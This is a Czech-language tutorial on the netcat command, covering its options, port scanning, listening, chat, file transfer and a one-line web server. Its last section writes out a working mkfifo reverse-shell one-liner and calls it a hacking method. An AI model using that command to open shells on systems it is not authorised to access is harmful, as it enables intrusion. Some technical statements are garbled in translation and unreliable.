Příkaz netcat
je nezbytný pro odesílání a přijímání dat pomocí protokolů TCP a UDP. Nemá rozsáhlou sadu funkcí, ale pro kontrolu spojení a jednoduché ladění je dostačující. Jak komunikovat prostřednictvím protokolu TCP? Tuto otázku si klade mnoho uživatelů. V tomto článku na ni odpovíme a také si ukážeme příklady reálného použití příkazu.
Příkaz netcat
(nebo nc
) je výkonný nástroj pro práci se síťovými připojeními. Často jej používají správci systému a vývojáři pro různé úlohy. Zde jsou uvedeny hlavní funkce a vlastnosti příkazu netcat
:
Netcat
je všestranný nástroj, který lze použít v široké škále scénářů, od jednoduchého zasílání zpráv až po složité síťové operace.
Začněme tím, že se podíváme na syntaxi a na ty nejoblíbenější:
-6
- použití protokolu IPv6. Výchozí hodnota je -4, respektive IPv4;-h
- zobrazí nápovědu se seznamem dostupných parametrů;-i
- delay - přidá prodlevu mezi odesíláním řetězců nebo skenováním portů. Nastavuje se v sekundách;-l
- režim naslouchání. Používá se se specifikací portu;-N
- uzavře spojení, když je při odesílání dosaženo konce souboru;-n
- práce s IP adresami přímo bez DNS, také vypnutí skenování portů;-P
- user_name - zadání uživatelského jména pro připojení k proxy serveru;-x
- address:port - zadejte adresu a port pro připojení k proxy serveru;-p
- port - zadejte číslo portu. Ve většině případů se port načte bez zadání parametru;-U
- použije doménový soket UNIX (pro meziprocesovou komunikaci);-u
- použít protokol UDP, ve výchozím nastavení se používá protokol TCP;-v
- podrobný režim. Používá se při skenování;-W
number_packets - uzavře spojení po přijetí určitého počtu paketů;-w
timer - zapnutí časovače pro omezení doby připojení. Nastavuje se v sekundách;-z
- zakáže odesílání dat. Používá se při skenování.Příkaz má následující tvar (parametry adresa portu):
$ nc
Dále si řekneme, jak příkaz používat.
Kontrola je hlavním použitím nástroje netcat
. Měli byste použít dva parametry -vz
, zadat adresu a port. Můžete zadat i rozsah adres, ale v tomto případě je lepší prosít pouze otevřené porty příkazemgrep
. Prověřme porty adresy místní sítě:
$ nc -vz 192.168.31.247 8080
$ nc -vz 192.168.31.247 1-1000 2>&1 | grep succeeded
Stejným způsobem prohledejme porty UDP přidáním parametru -u
:
$ nc -vzu 192.168.31.247 1-1000 2>&1 | grep succeeded
Měli byste znát hlavní rozdíl mezi TCP a UDP. V případě UDP jsou tedy porty vždy k dispozici.
Parametr -l
je určen pro naslouchání portu. Často to stačí, ale můžete zapnout podrobný režim:
$ nc -nlv 8080
Nezapomeňte, že při použití protokolu TCP musí být port volný, jinak se objeví chyba Již se používá. Ne všechny porty mohou používat běžní uživatelé, například port 80 (HTTP), s největší pravděpodobností bude obsazen jiným procesem a bude vyžadovat práva superuživatele.
Užitečnou schopností příkazu je výměna dat. Jednoduchým příkladem je textový chat. Chcete-li spustit chat na jednom počítači, spusťte nástroj v režimu naslouchání portu:
$ nc -lp 8080
Na druhém počítači je třeba zadat adresu prvního počítače a stejný port. Nezapomeňte také zkontrolovat, zda je port otevřený:
$ nc 0.0.0.0 8080
Tímto způsobem budete moci odesílat a přijímat zprávy. To znamená, že příkaz je určen pro výměnu souborů. Princip je stejný, jen je nutné přesměrovat výstup do souboru, konkrétně paste.txt
:
$ nc -l 8080 > paste.txt
Na druhém počítači bude jako vstup sloužit soubor copy.txt
. Není zbytečné použít parametr -N
pro uzavření spojení po přenosu souboru:
$ nc -N 0.0.0.0 8080 < copy.txt
Pro přenos souboru je důležité dodržet posloupnost, nejprve otevřít naslouchání a teprve poté odeslat soubor. Příkaz nc je funkční, ale zdaleka ne nejlepší způsob přenosu souborů. Pro tento úkol existují efektivnější a užitečnější nástroje.
Protože příkaz nc nepracuje s protokolem TCP, umožňuje odesílání i přijímání požadavků HTTP. Nástroj se tedy může stát jednoduchým webovým serverem. Ano, nic složitějšího než prázdnou stránku tímto způsobem neuděláte, ale operace vám nezabere téměř žádný čas a plusem je, že nemusíte instalovat nic navíc.
Na ukázkovém formuláři je odpověď HTTP se souborem index.html.
Když už jsme u samotného np, je dobré nastavit časovač s parametrem -w 1
, aby se spojení přerušilo, pokud to prohlížeč neudělá:
$ while true; do echo -e "HTTP/1.1 200 OKnn$(cat index.html)" | nc -l -w 1 -p 8080; done
Chcete-li získat data z webové stránky, můžete vytvořit požadavek a odeslat jej na avizovanou adresu a port. Tento způsob je ale poměrně složitý, lepší je použít příslušný příkaz CURL.
Na základě výše probíraných příkladů nebude těžké dojít k závěru, že příkaz umožňuje zorganizovat vzdálený přístup k shellu počítače. Dříve měl nástroj NC několik parametrů pro otevření přístupu k terminálu. Parametr -e
byl z utility již dávno odstraněn, takže jednoduchý přístup k terminálu již nebude. Bezpečnost samotné aplikace se zvýšila, ale stále může pracovat ve spojení s jinými.
Ukažme si připojení pomocí pojmenovaného kanálu mkfifo. Nejprve začneme naslouchat portu na počítači, na který získáme přístup:
$ nc -lvnp 8080
Přejděme přímo k příkazu pro otevření terminálu. Nejprve smažeme starý pojmenovaný kanál(rm /tmp/f
), na jeho místě vytvoříme nový(mkfifo /tmp/f
), přečteme jeho obsah(cat /tmp/f
) a na jeho výstup pošleme příkaz shellu (sh -i 2>&1
). Poté zbývá spustit nc s výstupem do našeho pojmenovaného kanálu(nc 0.0.0.0.0 8080 >/tmp/f
):
$ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 0.0.0.0 8080 >/tmp/f
Mějte na paměti, že se jedná o jeden ze způsobů hackování, který však může být užitečný v případě problémů s ssh.
Abyste zabránili útoku, nakonfigurujte bezpečnostní politiku a bránu firewall.